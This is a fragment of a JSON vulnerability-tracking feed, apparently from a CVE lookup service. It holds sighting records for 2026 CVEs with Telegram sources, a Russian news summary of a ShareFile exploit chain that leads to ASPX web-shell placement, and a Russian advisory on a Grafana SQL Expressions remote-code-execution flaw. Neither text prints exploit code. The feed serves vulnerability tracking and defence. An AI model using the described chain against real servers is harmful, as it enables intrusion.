\u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0432\u0442\u043e\u0440\u0443\u044e CVE-2026-2701 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 ASPX-\u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 HMAC-\u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0436\u0438\u043c\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-2699 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e watchTowr, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u043a\u043e\u043b\u043e 30 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Storage Zone Controller.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, ShadowServer Foundation \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 700 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432\u00a0Progress ShareFile, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435.\n\nWatchTowr \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u0441\u0432\u043e\u0438\u0445 \u0432\u044b\u0432\u043e\u0434\u0430\u0445 \u0432 Progress \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 6 \u043f\u043e 13 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0430 \u043f\u043e\u043b\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0431\u044b\u043b\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 18 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0432 Progress ShareFile 5.12.4. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.12.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0448\u043b\u0430 10 \u043c\u0430\u0440\u0442\u0430.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c, \u043e\u0434\u043d\u0430\u043a\u043e \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u043e\u043f\u044b\u0442\u0430 Clop \u0438 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0432 \u043f\u0430\u0431\u043b\u0438\u043a \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 ShareFile Storage Zone Controller \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c.", "creation_timestamp": "2026-04-03T09:43:35.000000Z"}, {"uuid": "85f32101-1172-4101-b38e-6aab1a0394c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "Telegram/6WVrU8qOMDkeYG6tSwEbGZwrXZCEgsbamlgvZFkOKVwvEhQ", "content": "", "creation_timestamp": "2026-04-14T11:17:13.000000Z"}, {"uuid": "a82de71f-e7a1-4cf4-a822-db0e80d4e559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27143", "type": "seen", "source": "Telegram/LHQfgYAbtuG7CogYZyWoKm7-py5GuHojGsIqn2GfOFcZFnQ", "content": "", "creation_timestamp": "2026-04-13T21:22:02.000000Z"}, {"uuid": "5a9aefaf-87fa-4781-9650-feaafd47bd49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27144", "type": "seen", "source": "Telegram/LHQfgYAbtuG7CogYZyWoKm7-py5GuHojGsIqn2GfOFcZFnQ", "content": "", "creation_timestamp": "2026-04-13T21:22:02.000000Z"}, {"uuid": "fe4ac010-38d3-4b63-b5ab-7b3d771f9d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27048", "type": "seen", "source": "Telegram/uX4TKA0ifXT0knFE_-3lZyz36JeQNL4GgXr6yUfz4-1wQtc", "content": "", "creation_timestamp": "2026-03-26T21:35:04.000000Z"}, {"uuid": "67531b71-15aa-40dc-ae7a-a9062d0f0b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27039", "type": "seen", "source": "Telegram/uX4TKA0ifXT0knFE_-3lZyz36JeQNL4GgXr6yUfz4-1wQtc", "content": "", "creation_timestamp": "2026-03-26T21:35:04.000000Z"}, {"uuid": "5632a686-153f-4fcb-a2a1-35e1d664ee10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27077", "type": "seen", "source": "Telegram/zW9IZrd6TGtn6tlC-J0V1NpAAnhFTvKo2N1YPzc1YC33cco", "content": "", "creation_timestamp": "2026-03-26T21:35:15.000000Z"}, {"uuid": "ac8c15bb-ad64-491f-b41a-c2c156eca552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27081", "type": "seen", "source": "Telegram/zW9IZrd6TGtn6tlC-J0V1NpAAnhFTvKo2N1YPzc1YC33cco", "content": "", "creation_timestamp": "2026-03-26T21:35:15.000000Z"}, {"uuid": "6983083f-1dd0-4ae6-bb35-acfd41be72f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27079", "type": "seen", "source": "Telegram/zW9IZrd6TGtn6tlC-J0V1NpAAnhFTvKo2N1YPzc1YC33cco", "content": "", "creation_timestamp": "2026-03-26T21:35:15.000000Z"}, {"uuid": "a732d828-359e-408e-87dd-4dc4d7b3943e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27075", "type": "seen", "source": "Telegram/zW9IZrd6TGtn6tlC-J0V1NpAAnhFTvKo2N1YPzc1YC33cco", "content": "", "creation_timestamp": "2026-03-26T21:35:15.000000Z"}, {"uuid": "be1f037a-97b8-4ef3-b00b-83b4e2a2e663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27071", "type": "seen", "source": "Telegram/uX4TKA0ifXT0knFE_-3lZyz36JeQNL4GgXr6yUfz4-1wQtc", "content": "", "creation_timestamp": "2026-03-26T21:35:04.000000Z"}, {"uuid": "c8031212-ba80-4e07-bcff-a725fa180943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27885", "type": "published-proof-of-concept", "source": "Telegram/6UgEKYpuzuWLxLktBSFu6z7cSh4q5naaHoBaDBfOi0oKaqw", "content": "", "creation_timestamp": "2026-04-03T23:21:15.000000Z"}, {"uuid": "12e2f7b1-50b4-4687-9001-ac0134d86309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27893", "type": "published-proof-of-concept", "source": "Telegram/iwwl46KpLYwipk_JFr9bJW43ngNWdoc7X8GY9RAN-oHOG28", "content": "", "creation_timestamp": "2026-03-27T01:18:44.000000Z"}, {"uuid": "bf2015ef-0ef6-49c3-8581-f4f8bcef16e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "Telegram/A1qg1RolaBwsACBTI2hdl9LKX69FzxBc1xCrm7_xs4Pt8oY", "content": "", "creation_timestamp": "2026-04-06T21:00:05.000000Z"}, {"uuid": "4c453c80-c051-45f3-8f84-f77875899043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27314", "type": "seen", "source": "Telegram/7stdzVfIjMVb7tvEQLoql-CFRLg5JIYu0eUqsXCfmQ30DI4", "content": "", "creation_timestamp": "2026-04-07T19:33:43.000000Z"}, {"uuid": "3774ff20-1700-4740-aa33-4faa60827e77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27732", "type": "seen", "source": "Telegram/ORzlugWNJSN1mBT3L8tDKZ1H7oYKkiEmKL9E7e5xnpgHaiU", "content": "", "creation_timestamp": "2026-04-07T21:22:19.000000Z"}, {"uuid": "3ff0ca71-5df0-4bb2-91bb-9759c9dee5f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27833", "type": "published-proof-of-concept", "source": "Telegram/6UgEKYpuzuWLxLktBSFu6z7cSh4q5naaHoBaDBfOi0oKaqw", "content": "", "creation_timestamp": "2026-04-03T23:21:15.000000Z"}, {"uuid": "e3d70a74-a647-41ed-b6d4-80656432fbe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27634", "type": "published-proof-of-concept", "source": "Telegram/6UgEKYpuzuWLxLktBSFu6z7cSh4q5naaHoBaDBfOi0oKaqw", "content": "", "creation_timestamp": "2026-04-03T23:21:15.000000Z"}, {"uuid": "0570374e-1720-4e29-881d-6ba53fd18f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27834", "type": "published-proof-of-concept", "source": "Telegram/6UgEKYpuzuWLxLktBSFu6z7cSh4q5naaHoBaDBfOi0oKaqw", "content": "", "creation_timestamp": "2026-04-03T23:21:15.000000Z"}, {"uuid": "390c0260-6f56-456a-999c-18e483317c30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27739", "type": "published-proof-of-concept", "source": "Telegram/lujNQnic_-sUK-YsSuyah-XVcicWAgU2QlyzszHcqTMUzpI", "content": "", "creation_timestamp": "2026-04-08T07:00:13.000000Z"}, {"uuid": "66b5cb6e-fd73-4aec-a9c0-dae3646f39ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "Telegram/YkFovyOp1l89l2HrsHhU-e8kv9HXA0gCdui6VpSIt8SuiME", "content": "", "creation_timestamp": "2026-03-27T17:22:21.000000Z"}, {"uuid": "36e5ba17-98ce-49e8-b68b-a02e7bfe25be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "Telegram/j4uk2-mJi_13Bei6kQkbjOgrQjosCkJncfaGDNG1RowRYM4", "content": "", "creation_timestamp": "2026-03-27T17:22:30.000000Z"}, {"uuid": "3cae56a1-3671-4988-b278-35067c4387cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27806", "type": "published-proof-of-concept", "source": "Telegram/nyeqn3leA21ahM9eDPOdcOfg88eaiSN6Cc1j2Af2p1JdwTU", "content": "", "creation_timestamp": "2026-04-08T23:32:54.000000Z"}, {"uuid": "36b0bd92-850f-4bdf-a18d-a283aeb49b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "Telegram/GaMGzk6quMfkMjAkzI4lSk6nx3GpyIi67KywiajpwVCnbkI", "content": "", "creation_timestamp": "2026-03-30T21:00:05.000000Z"}, {"uuid": "5546d8b6-d3af-449d-ab32-b2842064aae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27018", "type": "seen", "source": "Telegram/qLRVxcBpXT_mPFtTmfhugZI-eibNxK7vt9WwygicfOox0-Q", "content": "", "creation_timestamp": "2026-03-30T23:20:18.000000Z"}, {"uuid": "3e5e1562-3139-4625-9043-ff710293a591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27856", "type": "seen", "source": "Telegram/hnc41FvgR2VyITu4BVl6HabBwFPEZ-H6ltaZ3k0o3hEQc60", "content": "", "creation_timestamp": "2026-03-27T11:16:46.000000Z"}, {"uuid": "2540f67d-6728-453c-99ff-8dea291dd312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27858", "type": "seen", "source": "Telegram/hnc41FvgR2VyITu4BVl6HabBwFPEZ-H6ltaZ3k0o3hEQc60", "content": "", "creation_timestamp": "2026-03-27T11:16:46.000000Z"}, {"uuid": "eaf14bbb-c161-4245-a26b-0f15e504f093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27051", "type": "seen", "source": "Telegram/svRbUAS3r6GAYzDJQh3Todl-Lk2he1i8bWM_Ex2GJpo_g2k", "content": "", "creation_timestamp": "2026-03-27T15:17:14.000000Z"}, {"uuid": "06f902c3-7b7e-4c96-b8ed-aa57da694491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "Telegram/YkFovyOp1l89l2HrsHhU-e8kv9HXA0gCdui6VpSIt8SuiME", "content": "", "creation_timestamp": "2026-03-27T17:22:21.000000Z"}, {"uuid": "3b3d982c-95b2-418b-ae97-05fc9fb33491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27309", "type": "seen", "source": "Telegram/oIt8DGorr8cyCUyQDoJ69KF18sDdBCT7_fq8G95rr4FMqvI", "content": "", "creation_timestamp": "2026-03-30T10:01:09.000000Z"}, {"uuid": "2cdde7fa-f149-4f62-8357-dc26745797b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27697", "type": "seen", "source": "Telegram/_jbWMrWY3kup1vLwq2L3T9QUurzdP-pS58MJj_OuG7oT4-o", "content": "", "creation_timestamp": "2026-04-01T23:26:42.000000Z"}, {"uuid": "94aa8bfa-4422-4c8b-bff3-df613b0040df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27828", "type": "published-proof-of-concept", "source": "Telegram/glZc2MUrWDW1orrk5KZxOV-1RuNHXXM8No2M1-1_yJOvNvE", "content": "", "creation_timestamp": "2026-03-31T15:18:14.000000Z"}, {"uuid": "02cb9ab7-b9c4-4f88-98f4-0163f83b3f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27816", "type": "published-proof-of-concept", "source": "Telegram/glZc2MUrWDW1orrk5KZxOV-1RuNHXXM8No2M1-1_yJOvNvE", "content": "", "creation_timestamp": "2026-03-31T15:18:14.000000Z"}, {"uuid": "0c355770-557c-49aa-9cdd-48f7a8bde41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27815", "type": "published-proof-of-concept", "source": "Telegram/WxHgPFElWYDoFBGl3K0BVKfspuGbiR8geCdPJnxqtoWdxxM", "content": "", "creation_timestamp": "2026-03-31T17:24:25.000000Z"}, {"uuid": "4530ea92-cdb6-4e73-8c3b-00c670f80aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "Telegram/os88SBnIxm2unq36kG5-IN3u61MzjKGV6jmqq5X9_izXolg", "content": "", "creation_timestamp": "2026-04-03T03:00:07.000000Z"}, {"uuid": "7159bad0-1a05-45a2-acaf-ff48ec17865b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27489", "type": "published-proof-of-concept", "source": "Telegram/XKiVP0TBNKcSgroBasKUd6A0zwSV-UpgyYoSDTGkjCiQdks", "content": "", "creation_timestamp": "2026-04-03T17:26:02.000000Z"}, {"uuid": "17e36d96-49b4-4d23-ae1d-2d454f9cc518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27655", "type": "seen", "source": "Telegram/DMrtbPbyVuvJyzUNlrr2TA99ljgvsTw1ZTHgoXyjyFD12Ec", "content": "", "creation_timestamp": "2026-04-03T15:23:03.000000Z"}, {"uuid": "89853d6a-b015-4515-ac99-9420e5bd1a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/cflLzz2nbCnoFIhspzECPpLbzqqKWaFF-EjXQk4krKaQhRRR", "content": "", "creation_timestamp": "2026-03-08T19:40:05.000000Z"}, {"uuid": "1ef89d13-cf56-4e90-ae73-a2f31a0a5752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3042", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 SQL Expressions \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Grafana \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u0434\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\n\nBDU:2026-04159\nCVE-2026-27876\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 SQL Expressions;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f 